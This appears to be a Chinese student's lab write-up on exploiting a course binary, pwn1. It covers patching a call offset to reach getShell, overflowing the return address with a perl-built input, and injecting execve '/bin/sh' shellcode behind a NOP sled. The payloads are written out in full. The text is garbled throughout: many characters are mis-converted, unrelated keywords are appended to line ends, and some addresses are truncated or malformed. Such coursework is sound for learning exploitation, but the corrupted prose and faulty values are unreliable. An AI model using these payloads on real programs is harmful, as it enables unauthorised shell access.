本次实践的对象是一个名为pwn1的linux可执行文件。linux
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。编程
使用 objdump -d pwn1 将pwn1反汇编,获得如下代码windows
其中 80484b5: e8 d7 ff ff ff call 8048491 <foo> 这条汇编指令,e
8表示“ call ”
,在main函数中调用位于地址 8048491 处的foo函数。sass
若是想函数调用getShell,只须要修改 d7 ff ff ff 便可。安全
根据foo函数与getShell地址的偏移量,用Windows计算器经过 47d-4ba 就能获得补码,可计算出应为 c3 ff ff ff 。函数
: %!xxd
将显示模式切换为十六进制: %!xxd -r
将十六进制转换为原格式在此我选择尝试另外一种方式,即便用图形化的16进制编程器:工具
输入 apt-get install wxhexeditor , wxHexEditor 两个命令便可安装
学习
经过此工具也查找到了要修改的内容,修改D7为C3,而后保存并退出spa
输入 objdump -d pwn2 | more 反汇编pwn2文件中的main函数,查看是否正确调用get shell函数
运行修改后的代码,能够获得shell提示符#。
修改为功,调用了getshell~
经过 info r 命令查看当前寄存器状态,发现EIP寄存器被0x35353535覆盖,即当前返回地址为5555(0x35是ASCII码,表明十进制中的5)
说明刚输入的40个字符中,含有5的字符串溢出到了EIP中。
只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
由反汇编结果可知getShell的内存地址为:0x080484
确认字节序后,应该输入11111111222222223333333344444444\x7d\x84\x04\x08
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将input输入经过管道符“|”做为输入,指令为 (cat input ) | ./pwn1 ,运行后就进入了getShell函数~
shellcode就是一段机器指令(code),一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),因此这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
首先使用 apt-get install execstack 命令安装 execstack 。
而后修改一些设置。
Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode、nop+shellcode+retaddr。
缓冲区小就用前一种方法,缓冲区大就用后一种方法。
这里咱们选择前一种方法,即retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1)
perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
x/16x 0xbffffd37c 查看其存放内容,看到了0x9080cd0b,就是返回地址的位置。
经过本次实验,理解了缓冲区溢出攻击的具体原理,实际的操做中从程序内部函数的跳转到最后的shellcode注入一系列流程。因为个人基础较薄弱,对于汇编语言和Linux操做的知识并非很熟悉,而这次实验让我熟悉了相关的知识,并为之后的实验打下了基础。经过查看老师的教程,上网查阅资料,参考同窗的博客等方式,我仍是较为顺利地完成了实验,而且充分了解了相关的原理。整体来讲,个人收获很大~
漏洞就是某种安全隐患,好比说操做系统、硬件、软件等等,其中多少会存在不一样的安全隐患,并且能够被他人利用。
漏洞的危害小则影响我的,可能会形成我的隐私信息的泄露,乃至引发经济损失;
大则能够引发整个国家的严重损失,可能泄露国家秘密信息,危害国家安全。